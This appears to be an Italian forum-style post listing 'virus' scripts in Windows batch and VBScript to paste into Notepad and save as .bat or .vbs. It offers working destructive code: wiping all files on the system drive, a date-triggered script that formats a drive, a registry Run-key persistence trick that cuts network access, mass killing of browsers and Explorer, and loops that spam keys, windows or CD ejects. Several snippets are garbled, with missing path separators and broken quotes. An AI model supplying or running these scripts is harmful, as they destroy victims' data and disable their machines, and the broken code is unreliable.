VANNO TUTTI COPIATI SUL BLOCCO NOTE (NOTEPAD)
>>Elimina tutti i contenuti del driver
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
Salvalo in *.bat
>>Disabilita Internet
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE
salvalo in *.bat
>>Crash di Windows
@Echo off
Del C:\ *.* |y
Salva in *.bat
>>Apre infiniti notepad
salvalo in *.bat
Code:-
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
>> Bomb Virus
If %date% NEQ 2009/11/25 goto exit
format E: /y >nul
:exit
exit
Salva in *.bat
Note:- You Can Change The Date ( 2009/11/25 ) Of The Virus And The Location ( format E: ) On Which It Does Its Action
The Virus Will Take Effect On That Day
>>Attiva il CapsLock
Code:-
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Salvalo in *.vbs
>>Attiva la spacebar
salvalo in *.vbs
Code:-
Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
>>Attiva la spacebar
Salvalo in *.vbs
Code:-
MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
>>Tasks Kill
@echo off
start calc
tskill msnmsgr
tskill firefox
tskill iexplore
tskill LimreWire
tskill explorer
tskill explorer
tskill explorer
tskill explorer
tskill explorer
pause
salvalo in .bat
>>Code type in notepad
@echo off
shutdown -r -f -t 00
Puoi aggiungere:
-s
spegne il PC.
-l
eseguire un logout
-c “messagetext”
scrivere un messaggio
-f
Forza l'uscita delle applicazioni
-r
Esegue il reboot del PC. ..!!..!
>>Aprire il supporto per CD
Code:-
Set oWMP = CreateObject(”WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1
then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop